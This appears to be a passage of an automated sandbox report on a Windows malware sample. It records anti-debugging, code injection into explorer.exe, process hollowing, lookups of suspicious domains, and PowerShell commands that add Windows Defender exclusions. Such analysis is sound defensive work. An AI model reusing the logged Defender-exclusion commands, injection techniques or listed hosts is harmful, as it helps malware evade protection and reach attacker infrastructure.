Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02A309 mov eax, dword ptr fs:[00000030h]	22_2_6C02A309
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C131B mov eax, dword ptr fs:[00000030h]	22_2_6C0C131B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C094320 mov eax, dword ptr fs:[00000030h]	22_2_6C094320
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BE33D mov eax, dword ptr fs:[00000030h]	22_2_6C0BE33D
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00F340 mov eax, dword ptr fs:[00000030h]	22_2_6C00F340
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00DB40 mov eax, dword ptr fs:[00000030h]	22_2_6C00DB40
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8B58 mov eax, dword ptr fs:[00000030h]	22_2_6C0D8B58
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00F358 mov eax, dword ptr fs:[00000030h]	22_2_6C00F358
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C033B5A mov eax, dword ptr fs:[00000030h]	22_2_6C033B5A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C033B5A mov eax, dword ptr fs:[00000030h]	22_2_6C033B5A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C033B5A mov eax, dword ptr fs:[00000030h]	22_2_6C033B5A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C033B5A mov eax, dword ptr fs:[00000030h]	22_2_6C033B5A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C096365 mov eax, dword ptr fs:[00000030h]	22_2_6C096365
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C096365 mov eax, dword ptr fs:[00000030h]	22_2_6C096365
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C096365 mov eax, dword ptr fs:[00000030h]	22_2_6C096365
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C033B7A mov eax, dword ptr fs:[00000030h]	22_2_6C033B7A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C033B7A mov eax, dword ptr fs:[00000030h]	22_2_6C033B7A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0AEB8A mov ecx, dword ptr fs:[00000030h]	22_2_6C0AEB8A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0AEB8A mov eax, dword ptr fs:[00000030h]	22_2_6C0AEB8A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0AEB8A mov eax, dword ptr fs:[00000030h]	22_2_6C0AEB8A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0AEB8A mov eax, dword ptr fs:[00000030h]	22_2_6C0AEB8A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C138A mov eax, dword ptr fs:[00000030h]	22_2_6C0C138A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BD380 mov ecx, dword ptr fs:[00000030h]	22_2_6C0BD380
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C004B94 mov edi, dword ptr fs:[00000030h]	22_2_6C004B94
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00F395 mov eax, dword ptr fs:[00000030h]	22_2_6C00F395
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1BA8 mov eax, dword ptr fs:[00000030h]	22_2_6C0C1BA8
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C034BAD mov eax, dword ptr fs:[00000030h]	22_2_6C034BAD
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C034BAD mov eax, dword ptr fs:[00000030h]	22_2_6C034BAD
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C034BAD mov eax, dword ptr fs:[00000030h]	22_2_6C034BAD
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D9BBE mov eax, dword ptr fs:[00000030h]	22_2_6C0D9BBE
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8BB6 mov eax, dword ptr fs:[00000030h]	22_2_6C0D8BB6
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0853CA mov eax, dword ptr fs:[00000030h]	22_2_6C0853CA
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0853CA mov eax, dword ptr fs:[00000030h]	22_2_6C0853CA
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0B23E3 mov ecx, dword ptr fs:[00000030h]	22_2_6C0B23E3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0B23E3 mov ecx, dword ptr fs:[00000030h]	22_2_6C0B23E3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0B23E3 mov eax, dword ptr fs:[00000030h]	22_2_6C0B23E3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C001BE9 mov eax, dword ptr fs:[00000030h]	22_2_6C001BE9
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02DBE9 mov eax, dword ptr fs:[00000030h]	22_2_6C02DBE9
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C013BF4 mov eax, dword ptr fs:[00000030h]	22_2_6C013BF4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C013BF4 mov ecx, dword ptr fs:[00000030h]	22_2_6C013BF4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0023F6 mov eax, dword ptr fs:[00000030h]	22_2_6C0023F6
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_02DC0D90 mov eax, dword ptr fs:[00000030h]	27_2_02DC0D90
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_02DC092B mov eax, dword ptr fs:[00000030h]	27_2_02DC092B
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Code function: 27_2_02DED526 push dword ptr fs:[00000030h]	27_2_02DED526

Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esdfufc	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\y8WngeDn4q.exe

Code function: 0_2_0041D410 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0041D410

Source: C:\Users\user\AppData\Local\Temp\4EDC.exe

Code function: 22_2_6C036B90 rdtsc

22_2_6C036B90

Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\4EDC.exe

Code function: 22_2_6C049600 ZwOpenKey,LdrInitializeThunk,

22_2_6C049600

Source: C:\Users\user\AppData\Local\Temp\37D8.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Code function: 0_2_0041D410 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041D410
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Code function: 0_2_004266A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_004266A0
Source: C:\Users\user\AppData\Roaming\esdfufc	Code function: 12_2_0041D410 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_0041D410
Source: C:\Users\user\AppData\Roaming\esdfufc	Code function: 12_2_004266A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_004266A0

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: iyc.jelikob.ru
Source: C:\Windows\explorer.exe	Domain query: xacokuo8.top
Source: C:\Windows\explorer.exe	Domain query: znpst.top
Source: C:\Windows\explorer.exe	Network Connect: 216.128.137.31 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: nusurtal4f.net
Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou-6000.top
Source: C:\Windows\explorer.exe	Domain query: hajezey1.top
Source: C:\Windows\explorer.exe	Domain query: sysaheu90.top

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: 37D8.exe.6.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esdfufc	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esdfufc	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\37D8.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Memory written: C:\Users\user\Desktop\y8WngeDn4q.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esdfufc	Memory written: C:\Users\user\AppData\Roaming\esdfufc base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8908.exe	Memory written: C:\Users\user\AppData\Local\Temp\8908.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\y8WngeDn4q.exe

Code function: 0_2_04760110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

0_2_04760110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Thread created: C:\Windows\explorer.exe EIP: 2801920	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esdfufc	Thread created: unknown EIP: 41A1920	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Thread created: unknown EIP: 48F19C0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6E1E.exe	Thread created: unknown EIP: 4E81920

Adds a directory exclusion to Windows Defender

Show sources

Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\37D8.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\60DF.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\37D8.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\60DF.exe' -Force	Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\AppData\Local\Temp\37D8.exe

Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe base address: 400000

Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe base: 41C000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe base: 41E000	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process created: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	Process created: C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process created: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	Process created: C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior

Source: C:\Users\user\Desktop\y8WngeDn4q.exe	Process created: C:\Users\user\Desktop\y8WngeDn4q.exe 'C:\Users\user\Desktop\y8WngeDn4q.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\esdfufc	Process created: C:\Users\user\AppData\Roaming\esdfufc C:\Users\user\AppData\Roaming\esdfufc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8908.exe	Process created: C:\Users\user\AppData\Local\Temp\8908.exe C:\Users\user\AppData\Local\Temp\8908.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process created: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\37D8.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	Process created: C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\60DF.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe' /SpecialRun 4101d8 5988
Source: C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe' /SpecialRun 4101d8 780

Source: C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe

Code function: 25_2_00401C26 GetCurrentProcessId,memset,memset,_snwprintf,memset,ShellExecuteExW,WaitForSingleObject,GetExitCodeProcess,GetLastError,

25_2_00401C26

Source: C:\Users\user\AppData\Local\Temp\4EDC.exe

Code function: 22_2_6C03E730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,

22_2_6C03E730

Source: explorer.exe, 00000006.00000000.394005574.0000000000EE0000.00000002.00020000.sdmp, csdfufc, 00000027.00000002.672507255.0000000003790000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000006.00000000.394005574.0000000000EE0000.00000002.00020000.sdmp, csdfufc, 00000027.00000002.672507255.0000000003790000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000006.00000000.394005574.0000000000EE0000.00000002.00020000.sdmp, csdfufc, 00000027.00000002.672507255.0000000003790000.00000002.00020000.sdmp	Binary or memory string: &Program Manager
Source: explorer.exe, 00000006.00000000.394005574.0000000000EE0000.00000002.00020000.sdmp, csdfufc, 00000027.00000002.672507255.0000000003790000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\37D8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\37D8.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\3FD8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3FD8.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\60DF.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\60DF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
